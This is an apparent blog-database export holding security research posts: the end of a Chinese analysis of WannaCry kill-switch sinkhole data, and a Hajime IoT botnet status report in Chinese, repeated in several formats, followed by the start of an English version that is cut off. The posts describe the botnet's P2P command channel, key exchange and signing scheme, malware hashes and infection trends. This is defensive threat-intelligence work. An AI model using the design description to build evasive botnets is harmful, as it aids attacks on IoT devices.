Vantage授权我们展示部分统计信息。\n\n我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。\n\n####Sinkhole与DNS数据对比分析\n\n将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。\n\n\n图6 sinkhole数据与DNS数据对比分析\n\n按时间顺序解读图6，可以得知：\n\n * 域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次；\n * 上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展；\n\n以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。\n\n####来源端口和Windows动态端口范围设定\n除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。\n\n\n图7 全端口分布\n\n图8 端口49150附近数据缩放\n\n图9 端口1024附近数据缩放\n\n我们查到，Windows操作系统对动态端口范围有如表1所示的设定。\n\n表1 Windows操作系统对动态端口范围的设定\n\n\n基于以上事实，我们有如下推测。\n\n * 相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口；\n * 处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉；\n * 绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。\n\n####致谢\n我们特别致谢Kryptos Logic Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。\n\n####参考文献\n[1] Windows服务器系统的服务概述和网络端口要求[OL].https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

58

post

2017-09-07T10:58:09.000Z

63873b9a8b1c1e0007f52efb

hajime-status-report

2018-10-06T09:11:10.000Z

public

published

2017-09-20T04:04:59.000Z

Is Hajime botnet dead?

<!--kg-card-begin: markdown--><h1 id="">概述</h1> <p>我们于近期决定公开一部分Hajime相关的研究结果及数据，供社区成员查阅。本文的核心内容包含以下几点：</p> <ul> <li><a href="http://data.netlab.360.com/hajime/">Hajime跟踪主页上线</a>。结合Hajime的通讯特点（DHT+uTP），我们实现了对Hajime各Bot节点的长期跟踪，同时还在主页绘制了日活及地域分布情况。</li> <li>通过逆向分析，我们代码级重现了密钥交换过程，在该工作的帮助下，可以随时获取到Hajime网络中的最新模块文件。</li> <li>跟踪过程中，我们发现一个包含x64配置项的config文件，该发现预示着，原作者有意将PC平台作为下一个感染目标（这里也存在原作者密钥泄露的可能性）。</li> </ul> <h1 id="hajime">Hajime背景</h1> <p>与 MIRAI 的张扬不同，Hajime是一个低调神秘的Botnet，在诞生后的这一年中并没有给公众传递太多的恐慌。MIRAI在明，Hajime在暗，两者相得益彰。在MIRAI源码公开期间，已经有<a href="https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf">友商详细阐述过其工作机制</a>。</p> <p>Hajime的核心特点在于：它是一个P2P botnet，安全人员无法通过黑名单的方式直接堵死 Hajime 的指令传输渠道，达到遏制的目的。所以，其一旦广泛传播开便极难彻底清除。</p> <p><img src="__GHOST_URL__/content/images/2017/09/1.white_hat_info.jpg" alt="" loading="lazy"></p> <p>Hajime每过10分钟会从P2P网络中同步一次config文件，并将该文件的info字段（如上图所示）展示到控制台，意图自证清白。其info字段大意为：<strong>别慌，Hajime是一个由白帽子运营的僵尸网络，是来保护IoT设备的。</strong><br> <em>PS：如果是没有英文阅读障碍的读者一定知道，“别慌”这个词是后加的。:-)</em></p> <h2 id="">整体框架</h2> <p>Hajime基于模块化编程，常见的可执行模块有两个，分别为“执行母体”（也被称作stage2或.i 模块）和“传播模块”（也被称作atk模块）。其工作示意图如下所示：</p> <p><img src="__GHOST_URL__/content/images/2017/09/6.Hajime_sync_files-1.jpg" alt="" loading="lazy"></p> <p>在“执行母体(.i模块)”中，Hajime的各个节点将依赖 DHT协议 建立起一个 P2P 网络，在这个 P2P 网络中，Hajime节点可以完成节点间协商，接收控制指令以及文件同步等功能。任何一个节点都可以在不和管理员直接通讯的情况下拿到管理员发出的控制指令。这在保护了管理员的同时，也维持了僵尸网络自身的稳定性。一旦网络被组建起来就极难被清除。</p> <p><img src="__GHOST_URL__/content/images/2017/09/5.How_Hajime_work-1.jpg" alt="" loading="lazy"></p> <p>在 DHT 网络中，Hajime 把 config 文件编码为一个特殊的 infohash 值，这是一个160bit的二进制数字，该值每日一变。通过对这个 infohash 的索引，Hajime 就可以拿到最新的 config 文件。</p> <p><img src="__GHOST_URL__/content/images/2017/09/7.Hajime_config.png" alt="" loading="lazy"></p> <p>上图是2017年8月12日的config文件，可以看到config文件是一个文本文件，在modules字段中包含了各CPU架构的模块文件名，peers字段则指明了DHT网络的入口域名，这两个域名均为合法且公开的DHT网络入口域名。该配置文件将指引 Hajime 同步到最新的“传播模块（atk模块）”或“执行母体（.i模块）”。</p> <h2 id="">文件同步</h2> <p>在 DHT 网络中，每一个Hajime节点可以对应为一个peer。通过对DHT网络的搜索，Hajime节点可以很容易的获得到其他 Hajime节点 的地址信息。当执行文件同步操作时，将依次遍历其他节点，执行文件同步操作。节点间的通讯依赖 uTP协议，该协议基于 UDP实现了 三次握手/会话重传/会话中断 等机制，可以保证Hajime节点间的可信通讯。</p> <h2 id="">密钥交换</h2> <p>在uTP提供的信道基础上，Hajime对每次会话做了RC4的通讯加密，以保证他人无法从抓包手段还原出通讯内容。其次Hajime又使用了一个密钥协商算法来保证RC4密钥的不可窃取性。</p> <p><img src="__GHOST_URL__/content/images/2017/09/8.DH25519_For_Hajime.png" alt="" loading="lazy"></p> <p>Hajime采用了 ECDH 作为密钥交换协议，并选用了一个基于Curve25519椭圆曲线实现的密钥交换算法，虽然网上有很多公开的ECDH实现。但Hajime作者并未直接使用已有的代码。而是参考Curve25519相关文档实现了一个效率更高的密钥交换过程，新方法将原有椭圆空间的点映射到新的一维数列中，在 “倍点”的计算过程中只计算X坐标，而无需考虑Y坐标，最终提高了密钥交换的计算效率。</p> <p><em>Curve25519 的相关内容可参考: <a href="https://cr.yp.to/ecdh.html">https://cr.yp.to/ecdh.html</a></em><br> <em>新密钥交换算法的基础可参考: <a href="https://cr.yp.to/ecdh/curvezero-20060726.pdf">https://cr.yp.to/ecdh/curvezero-20060726.pdf</a></em></p> <h2 id="">文件验签</h2> <p>在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Hajime节点。为保证Hajime网络的完全可控，不被他人窃取。Hajime需要对每一个同步到的文件做签名验签，只有能够通过签名验签的文件才能被Hajime节点接受，并执行。<br> Hajime采用的验签方法为ED25519，这是一个公开的数字签名算法。于此同时，验签公钥为：<code>A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54</code>，该公钥被集成到了每一个Hajime“执行母体”中。也就是说任何一个Hajime节点均可以对拿到的新文件进行合法性验证。</p> <h1 id="">近况</h1> <h2 id="">日活节点</h2> <p>将 Hajime 的节点 IP 活跃数量以日为单位切分后，可绘制如下日活节点图：</p> <p><img src="__GHOST_URL__/content/images/2017/09/Hajime_BotTrends.jpg" alt="" loading="lazy"></p> <p>从上图不难发现，整个7月下半旬，Hajime日活数量出现了一个较长期的波谷。它在这个期间一直处在稳定状态，也没有发现新的文件或指令被发布。</p> <p>但随着8月份的到来 Hajime 停止了沉寂，分别在 2017-08-06 和 2017-08-12 两日发布了两次更新，这两次更新可以分别和上图后半段的两个波峰吻合。所以这一刻我们确认，<strong>Hajime复活了</strong>。</p> <p>随后，Hajime又在2017-08-18、2017-08-19、2017-08-22、2017-09-04日完成了数次更新。并开启了频繁更新的常态。</p> <h2 id="">地域分布</h2> <p>对 Hajime 近两月的活跃节点做地域分布统计后，可得到下图：</p> <p><img src="__GHOST_URL__/content/images/2017/09/Hajime_Bot_Distribution.jpg" alt="" loading="lazy"></p> <p>颜色越深表明该地区受影响越严重。</p> <h2 id="">更新频率</h2> <p>Hajime 在7月份更新并不频繁，期间还出现了半个月的中断。而8月5日后，Hajime又开始回归了频繁更新的状态，其更新频率如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2017/09/3_Hajime_update_config.png" alt="" loading="lazy"></p> <p>事实上近一个月的更新都是围绕已有代码修修补补，并没有出现太大的变动。</p> <h2 id="">传播方式</h2> <p>在近两个月中，Hajime的传播方式仍然继承之前的传播手段，其依赖的传播端口及传播方式如下表所示:</p> <p><img src="__GHOST_URL__/content/images/2017/09/4.-Hajime_spread_way-6.jpg" alt="" loading="lazy"></p> <ul> <li><code>2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121</code></li> <li><code>2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0</code></li> <li><code>http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html</code></li> <li><code>https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7</code></li> <li><code>https://twitter.com/masafuminegishi/status/870182653797871617</code></li> </ul> <h2 id="cpu">节点分布中CPU占比情况</h2> <p>我们已知Hajime的传播范围局限在少部分CPU之间，在对18433个Hajime节点进行分析后，发现:在受影响的各种CPU类型中，Mipseb是占比最多的，如下表所示：</p> <p><img src="__GHOST_URL__/content/images/2017/09/11_Hajime_CPU_count-1.jpg" alt="" loading="lazy"></p> <h1 id="">其他相关内容</h1> <h2 id="x64">正在考虑支持 x64 平台 ?</h2> <p>发出这一疑问的原因是，我们的Hajime跟踪系统于2017-08-29日捕获到一个配置文件<code>b8a5082689606ea20a557883dbff7d10</code>，该文件能够顺利通过Hajime的签名验证过程，同时文件中还存在一个针对x64 CPU的内容配置项，这个配置项似乎预示着原始作者正在考虑对PC平台的支持。如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2017/09/9.Hajime_config_with_x64.png" alt="" loading="lazy"></p> <p>但该配置文件存在若干疑点：</p> <ul> <li>在配置文件显示的 module 列表中，我们仅获取到了atk.mipseb/.i.mipseb 两个module，而并没有拿到其他架构下的module，所以其他架构下的 module 可能压根就不存在。</li> <li>该配置文件缺少info字段，即缺少原作者声明自己是白帽子的文字描述，这一点非常反常，与原作者的习惯有别。</li> </ul> <p>综合以上内容，可以得出两种假设：</p> <ul> <li>首先，在没有更多证据前，我们倾向于认为私钥没有泄露。那么，能够验签通过就是一个强有力的证据，证明原作者有意支持 x64 平台。</li> <li>另一方面，上述两处疑点均违反了 Hajime 原始作者的习惯或网络特性。如将其作为非原始作者传播的旁证。那么，可以认定作者的私钥发生了泄露，且这个拥有私钥的人正在尝试向Hajime网络中投毒，意图窃取 Hajime 网络。</li> </ul> <p>相对第二种假设，我们更倾向于相信前者；首先，能够造出如此复杂的僵尸网络的人不大可能会犯私钥泄露的错误，其次，考虑对 x64 平台的支持也更符合 Hajime 保护互联网设备的需求。</p> <h1 id="">参考</h1> <p>1: <a href="https://x86.re/blog/hajime-a-follow-up/">https://x86.re/blog/hajime-a-follow-up/</a><br> 2: <a href="https://github.com/Psychotropos/hajime_hashes">https://github.com/Psychotropos/hajime_hashes</a><br> 3: <a href="https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf">https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf</a><br> 4: <a href="https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/">https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/</a><br> 5: <a href="https://sect.iij.ad.jp/d/2017/09/293589.html">https://sect.iij.ad.jp/d/2017/09/293589.html</a></p> <!--kg-card-end: markdown-->

概述 我们于近期决定公开一部分Hajime相关的研究结果及数据，供社区成员查阅。本文的核心内容包含以下几点： * Hajime跟踪主页上线。结合Hajime的通讯特点（DHT+uTP），我们实现了对Hajime各Bot节点的长期跟踪，同时还在主页绘制了日活及地域分布情况。 * 通过逆向分析，我们代码级重现了密钥交换过程，在该工作的帮助下，可以随时获取到Hajime网络中的最新模块文件。 * 跟踪过程中，我们发现一个包含x64配置项的config文件，该发现预示着，原作者有意将PC平台作为下一个感染目标（这里也存在原作者密钥泄露的可能性）。 Hajime背景 与 MIRAI 的张扬不同，Hajime是一个低调神秘的Botnet，在诞生后的这一年中并没有给公众传递太多的恐慌。MIRAI在明，Hajime在暗，两者相得益彰。在MIRAI源码公开期间，已经有友商详细阐述过其工作机制。 Hajime的核心特点在于：它是一个P2P botnet，安全人员无法通过黑名单的方式直接堵死 Hajime 的指令传输渠道，达到遏制的目的。所以，其一旦广泛传播开便极难彻底清除。 Hajime每过10分钟会从P2P网络中同步一次config文件，并将该文件的info字段（如上图所示）展示到控制台，意图自证清白。其info字段大意为：别慌，Hajime是一个由白帽子运营的僵尸网络，是来保护IoT设备的。 PS：如果是没有英文阅读障碍的读者一定知道，“别慌”这个词是后加的。:-) 整体框架 Hajime基于模块化编程，常见的可执行模块有两个，分别为“执行母体”（也被称作stage2或.i 模块）和“传播模块”（也被称作atk模块）。其工作示意图如下所示： 在“执行母体(.i模块)”中，Hajime的各个节点将依赖 DHT协议 建立起一个 P2P 网络，在这个 P2P 网络中，Hajime节点可以完成节点间协商，接收控制指令以及文件同步等功能。任何一个节点都可以在不和管理员直接通讯的情况下拿到管理员发出的控制指令。这在保护了管理员的同时，也维持了僵尸网络自身的稳定性。一旦网络被组建起来就极难被清除。 在 DHT 网络中，Hajime 把 config 文件编码为一个特殊的 infohash 值，这是一个160bit的二进制数字，该值每日一变。通过对这个 infohash 的索引，Hajime 就可以拿到最新的 config 文件。 上图是2017年8月12日的config文件，可以看到config文件是一个文本文件，在modules字段中包含了各CPU架构的模块文件名，peers字段则指明了DHT网络的入口域名，这两个域名均为合法且公开的DHT网络入口域名。该配置文件将指引 Hajime 同步到最新的“传播模块（atk模块）”或“执行母体（.i模块）”。 文件同步 在 DHT 网络中，每一个Hajime节点可以对应为一个peer。通过对DHT网络的搜索，Hajime节点可以很容易的获得到其他 Hajime节点 的地址信息。当执行文件同步操作时，将依次遍历其他节点，执行文件同步操作。节点间的通讯依赖 uTP协议，该协议基于 UDP实现了 三次握手/会话重传/会话中断 等机制，可以保证Hajime节点间的可信通讯。 密钥交换 在uTP提供的信道基础上，Hajime对每次会话做了RC4的通讯加密，以保证他人无法从抓包手段还原出通讯内容。其次Hajime又使用了一个密钥协商算法来保证RC4密钥的不可窃取性。 Hajime采用了 ECDH 作为密钥交换协议，并选用了一个基于Curve25519椭圆曲线实现的密钥交换算法，虽然网上有很多公开的ECDH实现。但Hajime作者并未直接使用已有的代码。而是参考Curve25519相关文档实现了一个效率更高的密钥交换过程，新方法将原有椭圆空间的点映射到新的一维数列中，在 “倍点”的计算过程中只计算X坐标，而无需考虑Y坐标，最终提高了密钥交换的计算效率。 Curve25519 的相关内容可参考: https://cr.yp.to/ecdh.html 新密钥交换算法的基础可参考: https://cr.yp.to/ecdh/curvezero-20060726.pdf 文件验签 在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Hajime节点。为保证Hajime网络的完全可控，不被他人窃取。Hajime需要对每一个同步到的文件做签名验签，只有能够通过签名验签的文件才能被Hajime节点接受，并执行。 Hajime采用的验签方法为ED25519，这是一个公开的数字签名算法。于此同时，验签公钥为：A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54，该公钥被集成到了每一个Hajime“执行母体”中。也就是说任何一个Hajime节点均可以对拿到的新文件进行合法性验证。 近况 日活节点 将 Hajime 的节点 IP 活跃数量以日为单位切分后，可绘制如下日活节点图： 从上图不难发现，整个7月下半旬，Hajime日活数量出现了一个较长期的波谷。它在这个期间一直处在稳定状态，也没有发现新的文件或指令被发布。 但随着8月份的到来 Hajime 停止了沉寂，分别在 2017-08-06 和 2017-08-12 两日发布了两次更新，这两次更新可以分别和上图后半段的两个波峰吻合。所以这一刻我们确认，Hajime复活了。 随后，Hajime又在2017-08-18、2017-08-19、2017-08-22、2017-09-04日完成了数次更新。并开启了频繁更新的常态。 地域分布 对 Hajime 近两月的活跃节点做地域分布统计后，可得到下图： 颜色越深表明该地区受影响越严重。 更新频率 Hajime 在7月份更新并不频繁，期间还出现了半个月的中断。而8月5日后，Hajime又开始回归了频繁更新的状态，其更新频率如下图所示： 事实上近一个月的更新都是围绕已有代码修修补补，并没有出现太大的变动。 传播方式 在近两个月中，Hajime的传播方式仍然继承之前的传播手段，其依赖的传播端口及传播方式如下表所示: * 2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121 * 2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0 * http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html * https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7 * https://twitter.com/masafuminegishi/status/870182653797871617 节点分布中CPU占比情况 我们已知Hajime的传播范围局限在少部分CPU之间，在对18433个Hajime节点进行分析后，发现:在受影响的各种CPU类型中，Mipseb是占比最多的，如下表所示： 其他相关内容 正在考虑支持 x64 平台 ? 发出这一疑问的原因是，我们的Hajime跟踪系统于2017-08-29日捕获到一个配置文件b8a5082689606ea20a557883dbff7d10，该文件能够顺利通过Hajime的签名验证过程，同时文件中还存在一个针对x64 CPU的内容配置项，这个配置项似乎预示着原始作者正在考虑对PC平台的支持。如下图所示： 但该配置文件存在若干疑点： * 在配置文件显示的 module 列表中，我们仅获取到了atk.mipseb/.i.mipseb 两个module，而并没有拿到其他架构下的module，所以其他架构下的 module 可能压根就不存在。 * 该配置文件缺少info字段，即缺少原作者声明自己是白帽子的文字描述，这一点非常反常，与原作者的习惯有别。 综合以上内容，可以得出两种假设： * 首先，在没有更多证据前，我们倾向于认为私钥没有泄露。那么，能够验签通过就是一个强有力的证据，证明原作者有意支持 x64 平台。 * 另一方面，上述两处疑点均违反了 Hajime 原始作者的习惯或网络特性。如将其作为非原始作者传播的旁证。那么，可以认定作者的私钥发生了泄露，且这个拥有私钥的人正在尝试向Hajime网络中投毒，意图窃取 Hajime 网络。 相对第二种假设，我们更倾向于相信前者；首先，能够造出如此复杂的僵尸网络的人不大可能会犯私钥泄露的错误，其次，考虑对 x64 平台的支持也更符合 Hajime 保护互联网设备的需求。 参考 1: https://x86.re/blog/hajime-a-follow-up/ 2: https://github.com/Psychotropos/hajime_hashes 3: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf 4: https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/ 5: https://sect.iij.ad.jp/d/2017/09/293589.html

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#概述\n\n我们于近期决定公开一部分Hajime相关的研究结果及数据，供社区成员查阅。本文的核心内容包含以下几点：\n\n* [Hajime跟踪主页上线](http://data.netlab.360.com/hajime/)。结合Hajime的通讯特点（DHT+uTP），我们实现了对Hajime各Bot节点的长期跟踪，同时还在主页绘制了日活及地域分布情况。\n* 通过逆向分析，我们代码级重现了密钥交换过程，在该工作的帮助下，可以随时获取到Hajime网络中的最新模块文件。\n* 跟踪过程中，我们发现一个包含x64配置项的config文件，该发现预示着，原作者有意将PC平台作为下一个感染目标（这里也存在原作者密钥泄露的可能性）。\n\n# Hajime背景\n\n与 MIRAI 的张扬不同，Hajime是一个低调神秘的Botnet，在诞生后的这一年中并没有给公众传递太多的恐慌。MIRAI在明，Hajime在暗，两者相得益彰。在MIRAI源码公开期间，已经有[友商详细阐述过其工作机制](https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf)。\n\nHajime的核心特点在于：它是一个P2P botnet，安全人员无法通过黑名单的方式直接堵死 Hajime 的指令传输渠道，达到遏制的目的。所以，其一旦广泛传播开便极难彻底清除。\n\n\n\nHajime每过10分钟会从P2P网络中同步一次config文件，并将该文件的info字段（如上图所示）展示到控制台，意图自证清白。其info字段大意为：**别慌，Hajime是一个由白帽子运营的僵尸网络，是来保护IoT设备的。**\n*PS：如果是没有英文阅读障碍的读者一定知道，“别慌”这个词是后加的。:-)*\n\n## 整体框架\n\nHajime基于模块化编程，常见的可执行模块有两个，分别为“执行母体”（也被称作stage2或.i 模块）和“传播模块”（也被称作atk模块）。其工作示意图如下所示：\n\n\n\n在“执行母体(.i模块)”中，Hajime的各个节点将依赖 DHT协议 建立起一个 P2P 网络，在这个 P2P 网络中，Hajime节点可以完成节点间协商，接收控制指令以及文件同步等功能。任何一个节点都可以在不和管理员直接通讯的情况下拿到管理员发出的控制指令。这在保护了管理员的同时，也维持了僵尸网络自身的稳定性。一旦网络被组建起来就极难被清除。\n\n\n\n在 DHT 网络中，Hajime 把 config 文件编码为一个特殊的 infohash 值，这是一个160bit的二进制数字，该值每日一变。通过对这个 infohash 的索引，Hajime 就可以拿到最新的 config 文件。\n\n\n\n上图是2017年8月12日的config文件，可以看到config文件是一个文本文件，在modules字段中包含了各CPU架构的模块文件名，peers字段则指明了DHT网络的入口域名，这两个域名均为合法且公开的DHT网络入口域名。该配置文件将指引 Hajime 同步到最新的“传播模块（atk模块）”或“执行母体（.i模块）”。\n\n## 文件同步\n\n在 DHT 网络中，每一个Hajime节点可以对应为一个peer。通过对DHT网络的搜索，Hajime节点可以很容易的获得到其他 Hajime节点 的地址信息。当执行文件同步操作时，将依次遍历其他节点，执行文件同步操作。节点间的通讯依赖 uTP协议，该协议基于 UDP实现了 三次握手/会话重传/会话中断 等机制，可以保证Hajime节点间的可信通讯。\n\n## 密钥交换\n在uTP提供的信道基础上，Hajime对每次会话做了RC4的通讯加密，以保证他人无法从抓包手段还原出通讯内容。其次Hajime又使用了一个密钥协商算法来保证RC4密钥的不可窃取性。\n\n\n\nHajime采用了 ECDH 作为密钥交换协议，并选用了一个基于Curve25519椭圆曲线实现的密钥交换算法，虽然网上有很多公开的ECDH实现。但Hajime作者并未直接使用已有的代码。而是参考Curve25519相关文档实现了一个效率更高的密钥交换过程，新方法将原有椭圆空间的点映射到新的一维数列中，在 “倍点”的计算过程中只计算X坐标，而无需考虑Y坐标，最终提高了密钥交换的计算效率。\n\n*Curve25519 的相关内容可参考: https://cr.yp.to/ecdh.html* \n*新密钥交换算法的基础可参考: https://cr.yp.to/ecdh/curvezero-20060726.pdf*\n\n## 文件验签\n在P2P网络中，节点是不可信的，任何人都能够以极低成本的伪造一个Hajime节点。为保证Hajime网络的完全可控，不被他人窃取。Hajime需要对每一个同步到的文件做签名验签，只有能够通过签名验签的文件才能被Hajime节点接受，并执行。\nHajime采用的验签方法为ED25519，这是一个公开的数字签名算法。于此同时，验签公钥为：`A55CEED41FECB3AC66B6515AB5D383791B00FEC166A590D7626A04C2466B3F54`，该公钥被集成到了每一个Hajime“执行母体”中。也就是说任何一个Hajime节点均可以对拿到的新文件进行合法性验证。\n\n# 近况\n\n## 日活节点\n\n将 Hajime 的节点 IP 活跃数量以日为单位切分后，可绘制如下日活节点图：\n\n\n\n从上图不难发现，整个7月下半旬，Hajime日活数量出现了一个较长期的波谷。它在这个期间一直处在稳定状态，也没有发现新的文件或指令被发布。\n\n但随着8月份的到来 Hajime 停止了沉寂，分别在 2017-08-06 和 2017-08-12 两日发布了两次更新，这两次更新可以分别和上图后半段的两个波峰吻合。所以这一刻我们确认，**Hajime复活了**。\n\n随后，Hajime又在2017-08-18、2017-08-19、2017-08-22、2017-09-04日完成了数次更新。并开启了频繁更新的常态。\n\n## 地域分布\n\n对 Hajime 近两月的活跃节点做地域分布统计后，可得到下图：\n\n\n\n颜色越深表明该地区受影响越严重。\n\n## 更新频率\n\nHajime 在7月份更新并不频繁，期间还出现了半个月的中断。而8月5日后，Hajime又开始回归了频繁更新的状态，其更新频率如下图所示：\n\n\n\n事实上近一个月的更新都是围绕已有代码修修补补，并没有出现太大的变动。\n\n## 传播方式\n\n在近两个月中，Hajime的传播方式仍然继承之前的传播手段，其依赖的传播端口及传播方式如下表所示:\n\n\n\n* `2017-01-17 atk.arm5.1481380646 2487b4ed4a2f55bfd743b2e6b98f8121`\n* `2017-05-29 atk.arm5.1496096402 a238462e1e758792c5d1f04b82f4a6a0`\n* `http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html`\n* `https://gist.github.com/ylluminate/fcee91965b58695460ce849c424488f7`\n* `https://twitter.com/masafuminegishi/status/870182653797871617`\n\n## 节点分布中CPU占比情况\n\n我们已知Hajime的传播范围局限在少部分CPU之间，在对18433个Hajime节点进行分析后，发现:在受影响的各种CPU类型中，Mipseb是占比最多的，如下表所示：\n\n\n\n\n# 其他相关内容\n\n## 正在考虑支持 x64 平台 ?\n\n发出这一疑问的原因是，我们的Hajime跟踪系统于2017-08-29日捕获到一个配置文件`b8a5082689606ea20a557883dbff7d10`，该文件能够顺利通过Hajime的签名验证过程，同时文件中还存在一个针对x64 CPU的内容配置项，这个配置项似乎预示着原始作者正在考虑对PC平台的支持。如下图所示：\n\n\n\n但该配置文件存在若干疑点：\n\n* 在配置文件显示的 module 列表中，我们仅获取到了atk.mipseb/.i.mipseb 两个module，而并没有拿到其他架构下的module，所以其他架构下的 module 可能压根就不存在。\n* 该配置文件缺少info字段，即缺少原作者声明自己是白帽子的文字描述，这一点非常反常，与原作者的习惯有别。\n\n\n综合以上内容，可以得出两种假设：\n\n* 首先，在没有更多证据前，我们倾向于认为私钥没有泄露。那么，能够验签通过就是一个强有力的证据，证明原作者有意支持 x64 平台。\n* 另一方面，上述两处疑点均违反了 Hajime 原始作者的习惯或网络特性。如将其作为非原始作者传播的旁证。那么，可以认定作者的私钥发生了泄露，且这个拥有私钥的人正在尝试向Hajime网络中投毒，意图窃取 Hajime 网络。\n\n相对第二种假设，我们更倾向于相信前者；首先，能够造出如此复杂的僵尸网络的人不大可能会犯私钥泄露的错误，其次，考虑对 x64 平台的支持也更符合 Hajime 保护互联网设备的需求。\n\n\n\n# 参考\n1: https://x86.re/blog/hajime-a-follow-up/\n2: https://github.com/Psychotropos/hajime_hashes\n3: https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf \n4: https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/\n5: https://sect.iij.ad.jp/d/2017/09/293589.html"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

64

post

2017-09-08T07:48:58.000Z

63873b9a8b1c1e0007f52efc

hajime-status-report-en

2018-10-06T09:11:03.000Z

public

published

2017-09-20T04:04:55.000Z

Is Hajime botnet dead?

<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1> <p>The mysterious Hajime botnet was first discovered by Rapiditynetworks in Oct 2016, and it was all over the news earlier this year, but it seems that nobody talks about it any more now, is this botnet gone?</p> <p>The answer is no, our team has been tracking this botnet for quite some time, and we have recently noticed the number of infections has been going up, and a very interesting feature, an x64 config has been added in the code(is the botnet author eying PC platform as the next target? Or key leaked?).</p> <p>Unlike the traditional Hajime-runs-in-sandbox solution, which really has no control over the bot besides merely observing it(a good example, researcher cannot ask the bot in sandbox to go over all the peering nodes and pull all the files).</p> <p>Our team was able to figure out the key exchange scheme of this botnet so we are able to participate in the Hajime network with full control of the bot behaviors, with that, we have been able to gain more insights. The visibility of this botnet is fairly poor in security research field, with the two observations above, we decide to talk about this botnet a little bit and also start a public accessible Hajime tracking project <a href="http://data.netlab.360.com/hajime/">here</a></p> <h1 id="howhajimeworks">How Hajime works</h1> <p>For some basic concepts of Hajime botnet, we suggest readers to take a good look at the Rapiditynetworks paper <a href="https://security.rapiditynetworks.com/publications/2016-10-16/hajime.pdf">here</a> so we don’t need to repeat known facts here.</p> <h2 id="overallframework">Overall framework</h2> <p>Hajime’s implementation follows the modular programming paradigm. There are two common executable modules: &quot;execution module” (also known as stage2 or .i module) and “propagation module&quot; (also known as atk module).</p> <p><img src="__GHOST_URL__/content/images/2017/09/6.Hajime_sync_files-en.jpg" alt="" loading="lazy"></p> <p>In the propagation module (.i module), the Hajime nodes will establish a P2P network based on the DHT protocol. On top of this P2P network, Hajime nodes can perform inter-node negotiation, control command transmission and file synchronization. Any node can obtain the control instructions from the administrator without direct communication to the administrator. This not only provides protection for the administrator, but also maintains the stability of the botnet itself. Once the network is set up, it is extremely difficult to take it down.</p> <p><img src="__GHOST_URL__/content/images/2017/09/5.How_Hajime_work-1.jpg" alt="" loading="lazy"></p> <p>In the DHT network, Hajime encodes the config file as a special infohash value. This is a 160 bit binary number, changed daily. By indexing the infohash value, Hajime can get the latest config file.</p> <p><img src="__GHOST_URL__/content/images/2017/09/7.Hajime_config.png" alt="" loading="lazy"></p> <p>The above figure shows a config file in August 12, 2017. You can see it is a text file. The modules field contains the module file name for different CPU architectures. The peers field specifies the entry domain name for the DHT network. The two domain names are both valid and publicly accessible. The configuration file will direct Hajime to synchronize to the latest &quot;propagation module (atk module)&quot; or “execution module (.i module)&quot;.</p> <h2 id="filesynchronization">File synchronization</h2> <p>In a DHT network, each Hajime node can correspond to a peer. By searching in the DHT network, the Hajime node can easily get the address information of other Hajime nodes. During file synchronization, it will traverse other nodes sequentially and perform synchronization on each node. The inter-node communication relies on the uTP protocol. This protocol implements mechanisms such as three-way handshake, session retransmission and session interruption based on UDP to ensure trusted communication between Hajime nodes.</p> <h2 id="keyexchange">Key exchange</h2> <p>On the channel provided by uTP, Hajime made the RC4 communication encryption for each session to ensure that 